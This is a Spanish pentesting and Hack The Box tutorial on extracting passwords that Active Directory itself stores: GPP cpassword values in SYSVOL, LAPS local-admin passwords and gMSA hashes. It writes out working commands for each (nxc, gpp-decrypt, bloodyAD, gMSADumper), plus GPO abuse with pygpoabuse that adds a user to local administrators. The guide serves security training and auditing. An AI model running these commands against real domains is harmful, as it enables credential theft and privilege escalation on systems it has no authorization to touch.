Contraseñas en Active Directory: GPP (Groups.xml), LAPS y gMSA
Tres sitios donde el propio dominio guarda contraseñas que puedes leer: cpassword en Groups.xml, la contraseña LAPS del administrador local y el hash de las cuentas gMSA.
Active Directory tiene tres mecanismos pensados para gestionar contraseñas que, mal configurados o con los permisos justos, te las entregan en limpio. Los tres aparecen una y otra vez en Hack The Box y en auditorías reales, y todos se comprueban en un par de minutos en cuanto tienes un usuario del dominio (o, en el caso de GPP, a veces sin él).
| Mecanismo | Qué guarda | Quién puede leerlo |
|---|---|---|
| GPP (Group Policy Preferences) | Contraseñas en XML dentro de SYSVOL, cifradas con una clave pública | Cualquier usuario del dominio |
| LAPS | La contraseña del administrador local de cada equipo | Quien tenga permiso de lectura en el atributo |
| gMSA | La contraseña de una cuenta de servicio administrada | Quien esté en PrincipalsAllowedToRetrieveManagedPassword |
GPP: cpassword en Groups.xml
Hasta 2014 las directivas de grupo permitían fijar contraseñas (de administradores locales, servicios o tareas programadas). Se guardaban en SYSVOL cifradas con AES, pero Microsoft publicó la clave. El parche MS14-025 impide crear nuevas, pero no borra las que ya existían.
# buscar el atributo cpassword en SYSVOL
nxc smb 10.10.10.100 -u usuario -p 'Pass' -M gpp_password
# o a mano
smbclient //10.10.10.100/SYSVOL -U usuario
smb: \> recurse ON; prompt OFF; mget *
grep -ri cpassword .
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
Mira en Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml y Drives.xml. A veces el recurso Replication (copia de SYSVOL) es legible sin autenticar, como en Active.
Truco
Busca también en los scripts de SYSVOL y NETLOGON (.bat, .ps1, .vbs): no son GPP, pero los administradores dejan contraseñas en ellos con muchísima frecuencia.
Si puedes editar una GPO
Si BloodHound te enseña que tienes GenericWrite o WriteDacl sobre una GPO, no hay contraseña que leer pero sí algo mejor: puedes añadir una tarea programada que se ejecute como SYSTEM en todos los equipos a los que se aplica.
python3 pygpoabuse.py corp.local/usuario:'Pass' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -command 'net localgroup administrators usuario /add' -f
En Windows, SharpGPOAbuse.exe --AddLocalAdmin --UserAccount usuario --GPOName "Nombre". Fuerza la aplicación con gpupdate /force si tienes una shell, o espera unos 90 minutos. Es la escalada de TheFrizz y Office.
LAPS: la contraseña del administrador local
LAPS cambia la contraseña del administrador local de cada equipo y la guarda en un atributo del objeto equipo en AD: ms-Mcs-AdmPwd (LAPS clásico) o msLAPS-Password / msLAPS-EncryptedPassword (Windows LAPS, desde 2023). Si tu usuario tiene permiso para leerlo, tienes administrador en ese equipo.
# ¿hay LAPS y quién puede leerlo?
nxc ldap 10.10.10.100 -u usuario -p 'Pass' -M laps
bloodyAD -d corp.local -u usuario -p 'Pass' --host 10.10.10.100 get search \
--filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select Name, ms-Mcs-AdmPwd
Get-LapsADPassword -Identity DC01 -AsPlainText # Windows LAPS
En BloodHound aparece como la arista ReadLAPSPassword. Si no lo tienes, busca quién sí: suele ser un grupo tipo "LAPS_Readers" o "Helpdesk", y entrar en él puede ser cuestión de abusar de una ACL. Con la contraseña, entra como administrador con evil-winrm o psexec (Timelapse, StreamIO).
gMSA: cuentas de servicio administradas
Una Group Managed Service Account tiene una contraseña de 240 bytes aleatoria que el dominio rota sola. Imposible de crackear, pero los equipos o usuarios autorizados pueden pedírsela al controlador de dominio, y de ella se calcula el hash NT.
# ¿qué gMSA hay y quién puede leerlas?
nxc ldap 10.10.10.100 -u usuario -p 'Pass' --gmsa
# con permiso: devuelve el hash NT de la cuenta
python3 gMSADumper.py -u usuario -p 'Pass' -d corp.local
bloodyAD -d corp.local -u usuario -p 'Pass' --host 10.10.10.100 get object 'svc_web$' --attr msDS-ManagedPassword
En BloodHound, la arista se llama ReadGMSAPassword. Con el hash de la cuenta gMSA haces pass-the-hash y miras qué privilegios tiene: al ser cuentas de servicio, a menudo tienen delegación o permisos sobre otros objetos.
Nota
Si no estás en la lista, mira quién sí: casi siempre es un grupo, y meterte en él suele ser cuestión de otra ACL (AddSelf, GenericAll). Con WriteDacl sobre la propia gMSA también puedes añadirte al atributo msDS-GroupMSAMembership. Es una cadena muy repetida: Intelligence, Tombwatcher o Vintage.
En la checklist
Estas tres comprobaciones van justo después de la enumeración de Active Directory y del Kerberoasting. Están todas en la checklist de Active Directory.